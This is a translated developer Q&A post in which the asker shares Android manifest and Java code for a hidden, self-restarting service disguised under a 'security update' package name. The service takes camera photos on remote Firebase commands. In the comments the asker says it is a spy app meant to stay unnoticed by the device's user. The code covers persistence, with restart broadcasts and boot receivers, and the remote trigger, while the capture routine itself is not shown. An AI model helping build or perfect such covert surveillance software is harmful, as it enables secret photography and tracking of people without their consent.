【发布时间】:2017-04-03 03:27:48
【问题描述】:
我创建了一个服务,我想永远运行它而不显示前台通知。我在onStartCommand 中有Firebase 侦听器,它会在数据库中的数据更改时进行侦听。每当数据更改时,它都会执行特定的任务例如。捕获图像。
在 Activity 类中没有什么,只是我在那里开始服务然后我完成了它。问题是我可以在我的Samsung J2 设备和Nexus 5 上看到,每当我从应用程序抽屉中杀死应用程序时,该服务就会停止。我已经在BOOT_COMPLETED 和服务onDestroy 上实现了广播接收器,但它在启动时也不起作用。简而言之,我的服务不会永远运行。我也不确定 Firebase 监听器是否会在后台服务中工作。有许多应用程序,例如 whatsapp、hike、Applock,许多其他应用程序即使在强制关闭时也会重新启动。我希望我的应用程序每次都听 Firebase 数据库。它纯粹是基于服务的应用程序。它没有任何活动.
下面是代码-
清单文件
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.security.update">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-feature android:name="android.hardware.camera" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<application
android:screenOrientation="portrait"
android:name="android.support.multidex.MultiDexApplication"
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<activity
android:name=".ActivityForPermissions"
android:screenOrientation="portrait">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name="com.security.update.CameraService"
android:enabled="true"
/>
<receiver android:name="com.security.update.ReceiverCall"
android:enabled="true">
<intent-filter>
<action android:name="RESTART_SERVICE" />
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
</application>
活动类
public class ActivityForPermissions extends AppCompatActivity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
startService(new Intent(ActivityForPermissions.this,CameraService.class));
finish();
}
@Override
protected void onDestroy() {
super.onDestroy();
}}
接收者类
public class ReceiverCall extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
context.startService(new Intent(context, CameraService.class));;
}
}
服务类
public class CameraService extends Service
{
//Camera variables
//a surface holder
private SurfaceHolder sHolder;
//a variable to control the camera
private Camera mCamera;
//the camera parameters
private Parameters parameters;
/** Called when the activity is first created. */
private StorageReference mStorageRef;
File spyfile;
FirebaseDatabase database;
public static DatabaseReference RequestRef,SpyStatus;
String devicemodel;
@Override
public void onCreate()
{
super.onCreate();
android.os.Debug.waitForDebugger();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
devicemodel = android.os.Build.MODEL;
mStorageRef = FirebaseStorage.getInstance().getReference();
database = FirebaseDatabase.getInstance();
RequestRef = database.getReference("CameraRequest");
SpyStatus = database.getReference("SpyStatus");
ListenerForRequestDone();
return START_STICKY;
}
@Override
public void onDestroy() {
super.onDestroy();
Intent intent = new Intent("RESTART_SERVICE");
sendBroadcast(intent);
}
public void ListenerForRequestDone(){
RequestRef.addChildEventListener(new ChildEventListener() {
@Override
public void onChildAdded(DataSnapshot dataSnapshot, String s) {
}
@Override
public void onChildChanged(DataSnapshot dataSnapshot, String s) {
StartImageCapture(1);
}
@Override
public void onChildRemoved(DataSnapshot dataSnapshot) {
}
@Override
public void onChildMoved(DataSnapshot dataSnapshot, String s) {
}
@Override
public void onCancelled(DatabaseError databaseError) {
}
});
}
那里也有类似的问题,例如。 this但是没有正确答案。
【问题讨论】:
-
尝试删除清单文件中的
-
这对@AshrithkS有什么帮助,你能解释一下吗?
-
嗨,要在启动时启动服务,请添加 1) 在您的
元素中: -
而且,我认为现在 WhatsApp 或任何其他应用程序都不会不断检查传入的消息。推送通知是迄今为止更好的方法。请参阅有关 GCM 或 FCM 的文档。
-
我正在开发间谍应用程序。我不想让用户知道 wt 正在发生,所以推送通知对我的应用程序来说是个坏主意